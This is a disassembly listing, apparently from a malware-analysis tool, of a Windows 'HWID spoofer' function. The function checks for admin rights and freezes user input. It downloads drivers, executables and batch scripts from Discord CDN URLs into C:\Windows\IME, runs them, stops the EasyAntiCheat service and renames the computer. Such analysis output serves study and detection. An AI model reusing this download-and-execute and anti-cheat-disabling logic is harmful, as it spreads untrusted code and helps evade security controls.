Function at 0x14000ac00
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Get token membership
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rbp + 0x37], rax
lea rcx, str.title_adow.spoofer
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000b5d8
call fcn.14000b580
call fcn.14000b5ee
call fcn.14000b580
call fcn.14000b5ac
call fcn.14000b596
call fcn.14000b5ac
call fcn.14000b596
call fcn.14000b5c2
xor ebx, ebx
mov dword [rbp + 0x2f], ebx
mov edi, ebx
mov qword [rbp + 0x17], rbx
mov dword [rbp + 0x27], ebx
mov word [rbp + 0x2b], 0x500
lea rax, [rbp + 0x17]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov r9d, 0x220
lea r8d, [rbx + 0x20]
mov dl, 2
lea rcx, [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000acc6
lea r8, [rbp + 0x2f]
mov rdx, qword [rbp + 0x17]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000acce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [rbp + 0x17]
test rcx, rcx
je 0x14000acdd
call qword [sym.imp.ADVAPI32.dll_FreeSid]
test edi, edi
je 0x14000acf5
mov dword [rbp - 0x19], edi
lea rdx, [0x14001ac78]
lea rcx, [rbp - 0x19]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp dword [rbp + 0x2f], ebx
je 0x14000b345
lea rdx, [0x14000a410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Current_Status__
call fcn.1400081c0
lea rdx, [0x14000a3e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Undetected__n
call fcn.1400081c0
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.___Press_Any_Key_To_Start_Spoofing_n
call fcn.1400081c0
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140018310]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str._1__Temp.__n
call fcn.1400081c0
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str._2__Perm.__n
call fcn.1400081c0
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Choice___
call fcn.1400081c0
lea rdx, [rbp + 0x33]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov r9d, 4
lea r8, str.Confirmation
lea rdx, str.Do_You_want_to_continue_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x14000ae2b
lea rcx, [0x140018310]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14000ae36
mov ecx, 0x49632129
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rbp + 0x33]
sub edx, 1
je 0x14000b337
cmp edx, 1
je 0x14000b00d
lea rcx, [0x140018310]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp - 0x11]
call fcn.14000b380
mov r9, rax
cmp byte [rax + 0x16], bl
je 0x14000afee
cmp dword [0x14001d088], 2
jl 0x14000afba
movdqa xmm5, xmmword [0x140018bc0]
movdqa xmm4, xmmword [0x140018c10]
movdqa xmm6, xmmword [0x140018be0]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rbp + 0x17], xmm0
mov rcx, rax
mov edx, dword [rbp + 0x17]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018bf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140018bf0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x14000aeb0
cmp eax, 0x17
jge 0x14000afee
movsxd r8, ebx
add r8, r9
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, bl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x17
jl 0x14000afc0
mov rdx, r9
mov rcx, r10
call fcn.1400081c0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Your_Keyboard_And_Mouse_Will_Freeze_Please_Be_Pantient.__n
call fcn.1400081c0
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Dont_Turn_Of_ur_Computer_That_can_Damage_it.__n
call fcn.1400081c0
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.___You_Will_Progress_Of_Spoofing_Method._n
call fcn.1400081c0
call fcn.14000a650
lea rcx, [0x140018310]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rdx, [0x14000a410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____Permanently_Spoofing_Your_PC.__n
call fcn.1400081c0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781426620149910_AMIFLDRV64.SYS
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__AMIDEWIN.EXE
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781427006021703_AMIDEWIN.EXE
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__AMIDEWINx64.EXE
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781427341557820_AMIDEWINx64.EXE
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__Volumeid64.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781443028267159_Volumeid64.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__UCORESYS.SYS
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781461642596382_UCORESYS.SYS
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__UCOREVXD.VXD
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781461902630912_UCOREVXD.VXD
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__UCOREW64.SYS
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781462208819303_UCOREW64.SYS
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__UCOREDLL.DLL
lea rdx, str.https:__cdn.discordapp.com_attachments_1099750877159505982_1099781462515011695_UCOREDLL.DLL
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__macspoof.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1066385084338426000_1066430324931838113_MacAddressSpoofer.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__spoof.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1100017216814075937_1100369767598145570_spoof.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__launcher.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1066385084338426000_1066433398459076658_launcher.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:__Windows__IME__vol.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1100029495685169162_1100039939451801730_vol.bat
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.___Cleaning_Hardware...__n
lea rcx, [rbp - 0x11]
call fcn.1400055e0
nop
lea rcx, [rbp - 0x11]
call fcn.14000a700
nop
lea rcx, [rbp - 0x11]
call fcn.140005580
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.sc_stop_EasyAntiCheat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_EasyAntiCheat.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.___Spoofing_Pc_Identifiers..._n
lea rcx, [rbp - 0x11]
call fcn.1400055e0
nop
lea rcx, [rbp - 0x11]
call fcn.14000a700
nop
lea rcx, [rbp - 0x11]
call fcn.140005580
lea rcx, str.C:WindowsIMElauncher.bat__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wmic_computersystem_where_name_computername__call_rename_random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIMEmacspoof.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME_spoof.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsIME_vol.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rdx, str.___Done__n
lea rcx, [rbp - 0x11]
call fcn.1400055e0
nop
lea rcx, [rbp - 0x11]
call fcn.14000a700
nop
lea rcx, [rbp - 0x11]
call fcn.140005580
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14000b33c
call fcn.14000a760
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Run_as_admin
call fcn.1400081c0
lea rdx, [0x140008390]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3